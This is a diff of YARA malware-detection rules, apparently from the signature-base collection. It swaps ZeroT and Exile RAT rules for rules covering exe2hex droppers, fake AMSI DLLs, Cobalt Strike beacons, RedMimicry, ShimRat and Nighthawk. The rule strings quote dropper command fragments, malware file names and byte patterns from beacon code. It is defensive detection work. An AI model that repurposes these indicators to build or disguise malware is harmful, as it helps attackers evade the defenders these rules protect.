+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/generic_exe2hex_payload.yar#L8-L28"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "91b738f0174a267bbc900d59abcb504d2ae0bac8c287c3b7d1ebfc57374a7ee7"
+		score = 70
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a9519d2624a842d2c9060b64bb78ee1c400fea9e43d4436371a67cbf90e611b8"
 
 	strings:
-		$s1 = "Mcutil.dll" fullword ascii
-		$s2 = "mcut.exe" fullword ascii
+		$a1 = "set /p \"=4d5a" ascii
+		$a2 = "powershell -Command \"$hex=" ascii
+		$b1 = "set+%2Fp+%22%3D4d5" ascii
+		$b2 = "powershell+-Command+%22%24hex" ascii
+		$c1 = "echo 4d 5a " ascii
+		$c2 = "echo r cx >>" ascii
+		$d1 = "echo+4d+5a+" ascii
+		$d2 = "echo+r+cx+%3E%3E" ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
+		all of ($a*) or all of ($b*) or all of ($c*) or all of ($d*)
 }
-rule SIGNATURE_BASE_PP_CN_APT_Zerot_5 : FILE
+import "pe"
+
+rule SIGNATURE_BASE_SUSP_Fake_AMSI_DLL_Jun23_1 : FILE
 {
 	meta:
-		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2a7c6a36-aace-562e-bbc4-425c1d93fab1"
-		date = "2017-02-03"
-		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_pp_zerot.yar#L77-L95"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fbc1a2e078cfae7a9c72612b9c769e84d8c1d59c89e05001571ad00071e38577"
-		score = 75
+		description = "Detects an amsi.dll that has the same exports as the legitimate one but very different contents or file sizes"
+		author = "Florian Roth"
+		id = "b12df9de-ecfb-562b-b599-87fa786a33bc"
+		date = "2023-06-07"
+		modified = "2023-06-12"
+		reference = "https://twitter.com/eversinc33/status/1666121784192581633?s=20"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_fake_amsi_dll.yar#L3-L35"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ec3db233ab22144bc65614b45bb894a7ea5a4fd40ccb603e6e52cc1b9ff8805b"
+		score = 65
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "74dd52aeac83cc01c348528a9bcb20bbc34622b156f40654153e41817083ba1d"
 
 	strings:
-		$x1 = "dbozcb" fullword ascii
-		$s1 = "nflogger.dll" fullword ascii
-		$s2 = "/svchost.exe" fullword ascii
-		$s3 = "1207.htm" fullword ascii
-		$s4 = "/1207.htm" fullword ascii
+		$a1 = "Microsoft.Antimalware.Scan.Interface" ascii
+		$a2 = "Amsi.pdb" ascii fullword
+		$a3 = "api-ms-win-core-sysinfo-" ascii
+		$a4 = "Software\\Microsoft\\AMSI\\Providers" wide
+		$a5 = "AmsiAntimalware@" ascii
+		$a6 = "AMSI UAC Scan" ascii
+		$fp1 = "Wine builtin DLL"
 
 	condition:
-		( uint16(0)==0x5449 and filesize <1000KB and 1 of ($x*) and 1 of ($s*)) or ( all of them )
+		uint16(0)==0x5a4d and (pe.exports("AmsiInitialize") and pe.exports("AmsiScanString")) and ( filesize >200KB or filesize <35KB or not 4 of ($a*)) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_PP_CN_APT_Zerot_6 : FILE
+rule SIGNATURE_BASE_APT_Cobaltstrike_Beacon_Indicator : FILE
 {
 	meta:
-		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2e3bb4bd-5e20-56e7-a82b-d717d83eaeeb"
-		date = "2017-02-03"
+		description = "Detects CobaltStrike beacons"
+		author = "JPCERT"
+		id = "8508c7a0-0131-59b1-b537-a6d1c6cb2b35"
+		date = "2018-11-09"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_pp_zerot.yar#L97-L111"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "2de78012cc384211cef6c12817fd8cef9d93eef6de3197d0cfec64c1a8022ae3"
+		reference = "https://github.com/JPCERTCC/aa-tools/blob/master/cobaltstrikescan.py"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cobaltstrike.yar#L40-L52"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0f429a7a8c8bbea22eba3bbf81e391dab8e957583283a995d1d60d42f17c20e7"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a16078c6d09fcfc9d6ff7a91e39e6d72e2d6d6ab6080930e1e2169ec002b37d3"
 
 	strings:
-		$s1 = "jGetgQ|0h9=" fullword ascii
-		$s2 = "\\sfxrar32\\Release\\sfxrar.pdb"
+		$v1 = { 73 70 72 6E 67 00 }
+		$v2 = { 69 69 69 69 69 69 69 69 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and all of them
+		uint16(0)==0x5a4d and filesize <300KB and all of them
 }
-rule SIGNATURE_BASE_PP_CN_APT_Zerot_7 : FILE
+rule SIGNATURE_BASE_HKTL_Cobaltstrike_Beacon_Strings
 {
 	meta:
-		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e9cdca86-84a8-5673-935c-c319b523674b"
-		date = "2017-02-03"
+		description = "Identifies strings used in Cobalt Strike Beacon DLL"
+		author = "Elastic"
+		id = "af558aa2-a3dc-5a7a-bc74-42bb2246091c"
+		date = "2021-03-16"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_pp_zerot.yar#L113-L129"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "87ab6cd5c769e7e38bef807fa7d15af3a66fed8fdb7fed49fa62d87e1049ceb4"
+		reference = "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cobaltstrike.yar#L54-L67"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4349a7ad94df2269217b55c2aef9628c4eef078566c276936accdd4f996ba2cf"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fc2d47d91ad8517a4a974c4570b346b41646fac333d219d2f1282c96b4571478"
+		tags = ""
 
 	strings:
-		$s1 = "RasTls.dll" fullword ascii
-		$s2 = "RasTls.exe" fullword ascii
-		$s4 = "LOADER ERROR" fullword ascii
-		$s5 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii
+		$s1 = "%02d/%02d/%02d %02d:%02d:%02d"
+		$s2 = "Started service %s on %s"
+		$s3 = "%s as %s\\%s: %d"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
+		2 of them
 }
-rule SIGNATURE_BASE_PP_CN_APT_Zerot_8 : FILE
+rule SIGNATURE_BASE_HKTL_Cobaltstrike_Beacon_XOR_Strings
 {
 	meta:
-		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f9a4f092-c699-5e91-9667-64ffe1b02bc1"
-		date = "2017-02-03"
+		description = "Identifies XOR'd strings used in Cobalt Strike Beacon DLL"
+		author = "Elastic"
+		id = "359160a8-cf1c-58a8-bf7f-c09a8d661308"
+		date = "2021-03-16"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_pp_zerot.yar#L131-L147"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a1d5e72970919cd5c0493f8882cbc6fb1bb3c5b6517813a4022efd0028dfe728"
+		reference = "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cobaltstrike.yar#L69-L88"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b5009c29055784ce6371100417b862f723d7e3c1b4081c563fcd8770db48051f"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4ef91c17b1415609a2394d2c6c353318a2503900e400aab25ab96c9fe7dc92ff"
+		tags = ""
+		xor_s1 = "%02d/%02d/%02d %02d:%02d:%02d"
+		xor_s2 = "Started service %s on %s"
+		xor_s3 = "%s as %s\\%s: %d"
 
 	strings:
-		$s1 = "/svchost.exe" fullword ascii
-		$s2 = "RasTls.dll" fullword ascii
-		$s3 = "20160620.htm" fullword ascii
-		$s4 = "/20160620.htm" fullword ascii
+		$s1 = "%02d/%02d/%02d %02d:%02d:%02d" xor(0x01-0xff)
+		$s2 = "Started service %s on %s" xor(0x01-0xff)
+		$s3 = "%s as %s\\%s: %d" xor(0x01-0xff)
+		$fp1 = "MalwareRemovalTool"
 
 	condition:
-		( uint16(0)==0x5449 and filesize <1000KB and 3 of them )
+		2 of ($s*) and not 1 of ($fp*)
 }
-rule SIGNATURE_BASE_PP_CN_APT_Zerot_9 : FILE
+rule SIGNATURE_BASE_HKTL_Cobaltstrike_Beacon_4_2_Decrypt
 {
 	meta:
-		description = "Detects malware from the Proofpoint CN APT ZeroT incident"
-		author = "Florian Roth (Nextron Systems)"
-		id = "e1c32993-409c-5a62-8239-cff99fb83a7f"
-		date = "2017-02-03"
+		description = "Identifies deobfuscation routine used in Cobalt Strike Beacon DLL version 4.2"
+		author = "Elastic"
+		id = "63b71eef-0af5-5765-b957-ccdc9dde053b"
+		date = "2021-03-16"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_pp_zerot.yar#L149-L163"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "af4b85ef01c4fa21a2506369f3bc0f8eff6e95a4cfd494e1ea11a44d75bb024e"
+		reference = "https://www.elastic.co/blog/detecting-cobalt-strike-with-memory-signatures"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_cobaltstrike.yar#L90-L102"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8685b1626c8d263f49ccf129dcd4fe1b42482fcdb37c2e109cedcecaed8c2407"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "a685cf4dca6a58213e67d041bba637dca9cb3ea6bb9ad3eae3ba85229118bce0"
+		tags = ""
 
 	strings:
-		$x1 = "nflogger.dll" fullword ascii
-		$s7 = "Zlh.exe" fullword ascii
+		$a_x64 = {4C 8B 53 08 45 8B 0A 45 8B 5A 04 4D 8D 52 08 45 85 C9 75 05 45 85 DB 74 33 45 3B CB 73 E6 49 8B F9 4C 8B 03}
+		$a_x86 = {8B 46 04 8B 08 8B 50 04 83 C0 08 89 55 08 89 45 0C 85 C9 75 04 85 D2 74 23 3B CA 73 E6 8B 06 8D 3C 08 33 D2}
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <1000KB and all of them )
+		any of them
 }
-rule SIGNATURE_BASE_CN_APT_Zerot_Nflogger : FILE
+rule SIGNATURE_BASE_HKTL_Redmimicry_Agent
 {
 	meta:
-		description = "Chinese APT by Proofpoint ZeroT RAT  - file nflogger.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0d23f312-e3b6-5c23-855b-25ae54265512"
-		date = "2017-02-04"
-		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_pp_zerot.yar#L165-L178"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dc9b19e3c4c321cb9f840ec9ff78bec9e4a075cc62ea2823d92a3fbd9f99cc07"
+		description = "matches the RedMimicry agent executable and payload"
+		author = "mirar@chaosmail.org"
+		id = "a4d4ec77-4a0d-5afd-9181-85433e8b5fda"
+		date = "2020-06-22"
+		modified = "2023-01-06"
+		reference = "https://redmimicry.com"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_redmimicry.yar#L2-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "645da2764ca911c4aae80b90622d2c61933dee929403858fc49f7bc0d44300c6"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "946adbeb017616d56193a6d43fe9c583be6ad1c7f6a22bab7df9db42e6e8ab10"
+		tags = ""
+		sharing = "tlp:white"
 
 	strings:
-		$x1 = "\\LoaderDll.VS2010\\Release\\" ascii
+		$reg0 = "HKEY_CURRENT_USER\\" ascii
+		$reg1 = "HKEY_LOCAL_MACHINE\\" ascii
+		$reg2 = "HKEY_CURRENT_CONFIG\\" ascii
+		$reg3 = "HKEY_CLASSES_ROOT\\" ascii
+		$cmd0 = "C:\\Windows\\System32\\cmd.exe" ascii fullword
+		$lua0 = "client_recv" ascii fullword
+		$lua1 = "client_send" ascii fullword
+		$lua2 = "$LuaVersion: " ascii
+		$sym0 = "VirtualAllocEx" wide fullword
+		$sym1 = "kernel32.dll" wide fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and all of them )
+		all of them
 }
-rule SIGNATURE_BASE_CN_APT_Zerot_Extracted_Go : FILE
+rule SIGNATURE_BASE_HKTL_Redmimicry_Winntiloader
 {
 	meta:
-		description = "Chinese APT by Proofpoint ZeroT RAT  - file Go.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "ba929e6d-4162-58e7-b8a8-bcb066b64522"
-		date = "2017-02-04"
-		modified = "2023-01-06"
-		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_pp_zerot.yar#L180-L203"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "bf5e2d825e4bd63e94455ffb4013fa1088098a826390c1916c0aa50866588fcb"
+		description = "matches the Winnti 'Cooper' loader version used for the RedMimicry breach emulation"
+		author = "mirar@chaosmail.org"
+		id = "a8be1377-faa0-560d-a12c-0369b1f91180"
+		date = "2020-06-22"
+		modified = "2023-01-10"
+		reference = "https://redmimicry.com"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_redmimicry.yar#L28-L59"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d8ef457ac41a7c45cc7e97330bdd3de12eb3391c03d0a6a87ddc669c841c325d"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "83ddc69fe0d3f3d2f46df7e72995d59511c1bfcca1a4e14c330cb71860b4806b"
+		tags = ""
+		sharing = "tlp:white"
 
 	strings:
-		$x1 = "%s\\cmd.exe /c %s\\Zlh.exe" fullword ascii
-		$x2 = "\\BypassUAC.VS2010\\Release\\" ascii
-		$s1 = "Zjdsf.exe" fullword ascii
-		$s2 = "SS32prep.exe" fullword ascii
-		$s3 = "windowsgrep.exe" fullword ascii
-		$s4 = "Sysdug.exe" fullword ascii
-		$s5 = "Proessz.exe" fullword ascii
-		$s6 = "%s\\Zlh.exe" fullword ascii
-		$s7 = "/C %s\\%s" fullword ascii
+		$s0 = "Cooper" ascii fullword
+		$s1 = "stone64.dll" ascii fullword
+		$decoding_loop = { 49 63 D0 43 8D 0C 01 41 FF C0 42 32 0C 1A 0F B6 C1 C0 E9 04 C0 E0 04 02 C1 42 88 04 1A 44 3B 03 72 DE }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and (1 of ($x*) or 3 of ($s*))) or (7 of them )
+		all of them
 }
-rule SIGNATURE_BASE_CN_APT_Zerot_Extracted_Mcutil : FILE
+rule SIGNATURE_BASE_Shimrat
 {
 	meta:
-		description = "Chinese APT by Proofpoint ZeroT RAT  - file Mcutil.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c887d36b-8aeb-54f1-a683-727561723238"
-		date = "2017-02-04"
+		description = "Detects ShimRat and the ShimRat loader"
+		author = "Yonathan Klijnsma (yonathan.klijnsma@fox-it.com)"
+		id = "21431895-1180-5552-8e82-1589992ffa1d"
+		date = "2015-11-20"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_pp_zerot.yar#L205-L223"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "edb6000fd65d6593bd94842e60ec099c5a652d10005f81d17063dba1a2e267d2"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_mofang.yar#L1-L26"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0dd19e6a65b06bd5846ec224f01c3feea066540317223d1991154b2305882b20"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "266c06b06abbed846ebabfc0e683f5d20dadab52241bc166b9d60e9b8493b500"
+		tags = ""
 
 	strings:
-		$s1 = "LoaderDll.dll" fullword ascii
-		$s2 = "QageBox1USER" fullword ascii
-		$s3 = "xhmowl" fullword ascii
-		$s4 = "?KEYKY" fullword ascii
-		$s5 = "HH:mm:_s" fullword ascii
-		$s6 = "=licni] has maX0t" fullword ascii
+		$dll = ".dll"
+		$dat = ".dat"
+		$headersig = "QWERTYUIOPLKJHG"
+		$datasig = "MNBVCXZLKJHGFDS"
+		$datamarker1 = "Data$$00"
+		$datamarker2 = "Data$$01%c%sData"
+		$cmdlineformat = "ping localhost -n 9 /c %s > nul"
+		$demoproject_keyword1 = "Demo"
+		$demoproject_keyword2 = "Win32App"
+		$comspec = "COMSPEC"
+		$shim_func1 = "ShimMain"
+		$shim_func2 = "NotifyShims"
+		$shim_func3 = "GetHookAPIs"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <90KB and 3 of them ) or ( all of them )
+		($dll and $dat and $headersig and $datasig) or ($datamarker1 and $datamarker2) or ($cmdlineformat and $demoproject_keyword1 and $demoproject_keyword2 and $comspec) or ($dll and $dat and $shim_func1 and $shim_func2 and $shim_func3)
 }
-rule SIGNATURE_BASE_CN_APT_Zerot_Extracted_Zlh : FILE
+rule SIGNATURE_BASE_Shimratreporter
 {
 	meta:
-		description = "Chinese APT by Proofpoint ZeroT RAT - file Zlh.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4c8b9a90-6cb3-5aba-a993-f73207341d0e"
-		date = "2017-02-04"
+		description = "Detects ShimRatReporter"
+		author = "Yonathan Klijnsma (yonathan.klijnsma@fox-it.com)"
+		id = "01688b3c-2f06-518f-939d-4d65529be5ae"
+		date = "2015-11-20"
 		modified = "2023-12-05"
-		reference = "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_cn_pp_zerot.yar#L225-L241"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "26796f75a8302bd6c93eb3ea43d0491b86770b52bd11aad6e1e250d968a77004"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_mofang.yar#L28-L49"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "931d65628e5f0b7c63fe270b0a6cd3890f41a4ee7e253ce056b37f2d55542258"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "711f0a635bbd6bf1a2890855d0bd51dff79021db45673541972fe6e1288f5705"
+		tags = ""
 
 	strings:
-		$s1 = "nflogger.dll" fullword wide
-		$s2 = "%s %d: CreateProcess('%s', '%s') failed. Windows error code is 0x%08x" fullword ascii
-		$s3 = "_StartZlhh(): Executed \"%s\"" ascii
-		$s4 = "Executable: '%s' (%s) %i" fullword ascii
+		$IpInfo = "IP-INFO"
+		$NetworkInfo = "Network-INFO"
+		$OsInfo = "OS-INFO"
+		$ProcessInfo = "Process-INFO"
+		$BrowserInfo = "Browser-INFO"
+		$QueryUserInfo = "QueryUser-INFO"
+		$UsersInfo = "Users-INFO"
+		$SoftwareInfo = "Software-INFO"
+		$AddressFormat = "%02X-%02X-%02X-%02X-%02X-%02X"
+		$proxy_str = "(from environment) = %s"
+		$netuserfun = "NetUserEnum"
+		$networkparams = "GetNetworkParams"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and 3 of them )
+		all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_MAL_Exilerat_Feb19_1 : FILE
+rule SIGNATURE_BASE_HKTL_MAL_Nighthawk_Nov_2022_1 : NIGHTHAWK BEACON FILE
 {
 	meta:
-		description = "Detects Exile RAT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f0a510f3-5fea-59a7-8991-9d06dc478b2a"
-		date = "2019-02-04"
+		description = "Detect the Nighthawk dropped beacon"
+		author = "Arkbird_SOLG"
+		id = "a46d5034-e8e3-5c30-90d9-ea97b8384341"
+		date = "2022-11-22"
 		modified = "2023-12-05"
-		reference = "https://creativecommons.org/licenses/by-nc/4.0/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_exile_rat.yar#L4-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0556bc0dbd33502d5bf823cf265a4e133d9af43076abe35a86cf5e20ab314e35"
+		reference = "https://web.archive.org/web/20221125224850/https://www.proofpoint.com/us/blog/threat-insight/nighthawk-and-coming-pentest-tool-likely-gain-threat-actor-notice"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_nighthawk_c2.yar#L32-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8dec7752ee6e1af87129ce7ac09130f94a20807c4f45ceb1fce434358ac727bf"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "3eb026d8b778716231a07b3dbbdc99e2d3a635b1956de8a1e6efc659330e52de"
+		tags = "NIGHTHAWK, BEACON, FILE"
+		hash1 = "0551ca07f05c2a8278229c1dc651a2b1273a39914857231b075733753cb2b988"
+		hash2 = "9a57919cc5c194e28acd62719487c563a8f0ef1205b65adbe535386e34e418b8"
+		hash3 = "f3bba2bfd4ed48b5426e36eba3b7613973226983a784d24d7a20fcf9df0de74e"
 
 	strings:
-		$x1 = "Content-Disposition:form-data;name=\"x.bin\"" fullword ascii
-		$s1 = "syshost.dll" fullword ascii
-		$s2 = "\\scout\\Release\\scout.pdb" ascii
-		$s3 = "C:\\data.ini" fullword ascii
-		$s4 = "my-ip\" value=\"" fullword ascii
-		$s5 = "ver:%d.%d.%d" fullword ascii
+		$s1 = { 44 8b ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d c0 e8 [2] ff ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d 20 e8 [2] ff ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d 00 e8 [2] ff ff 45 33 c0 48 8d 15 [2] 0a 00 48 8d 4d e0 e8 [2] ff ff 33 d2 e9 ee 04 00 00 48 8d 44 24 68 48 89 44 24 20 41 b9 01 00 00 00 45 33 c0 48 8d 95 a0 00 00 00 ff 15 [2] 09 00 85 c0 0f 85 74 04 00 00 48 89 7c 24 28 48 89 7c 24 20 45 33 c9 45 33 c0 48 8d 15 [2] 0a 00 48 8b 4c 24 68 ff 15 [2] 09 00 85 }
+		$s2 = { 4d 85 c0 0f 84 83 00 00 00 49 21 18 33 d2 44 8d 43 01 33 c9 ff 15 [2] 08 00 48 8b f0 48 85 c0 74 6a 44 8d 43 04 48 8b d5 48 8b c8 ff 15 [2] 08 00 48 8b e8 48 85 c0 74 49 48 8d 44 24 70 33 d2 44 8d 4b 24 48 89 44 24 20 4c 8d 44 24 30 48 8b cd ff 15 [2] 08 00 8b }
+		$s3 = { 48 85 c0 0f 84 [2] 00 00 4d 8b cc 49 83 7c 24 18 08 72 04 4d 8b 0c 24 4d 8b c5 49 83 7d 18 08 72 04 4d 8b 45 00 49 8b ?? 49 83 ?? 18 08 72 03 49 8b }
+		$s4 = { 44 8b 44 24 44 4c 89 [2-3] 89 95 00 02 00 00 2b c7 8b d7 49 03 d0 48 03 d1 4c 8d 8d 00 02 00 00 44 8b c0 49 8b cf ff 15 [2] 04 00 33 d2 85 c0 0f 84 [2] ff ff 03 bd 00 02 00 00 8b 44 24 40 3b f8 48 8b 4d ?? 4c 8b }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <500KB and (pe.imphash()=="da8475fc7c3c90c0604ce6a0b56b5f21" or 3 of them )
+		uint16(0)==0x5A4D and filesize >60KB and all of ($s*)
 }
-rule SIGNATURE_BASE_APT_Sidewinder_NET_Loader_Aug_2020_1_1 : FILE
+rule SIGNATURE_BASE_Lightftp_Fftp_X86_64 : FILE
 {
 	meta:
-		description = "Detected the NET loader used by SideWinder group (August 2020)"
-		author = "Arkbird_SOLG"
-		id = "61d96e2a-3a43-586f-85bc-a2c53b1318e6"
-		date = "2020-08-24"
+		description = "Detects a light FTP server"
+		author = "Florian Roth (Nextron Systems)"
+		id = "9b62e990-1d8b-5d30-bb58-1f7f12552834"
+		date = "2015-05-14"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/ShadowChasing1/status/1297902086747598852"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_sidewinder.yar#L4-L22"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
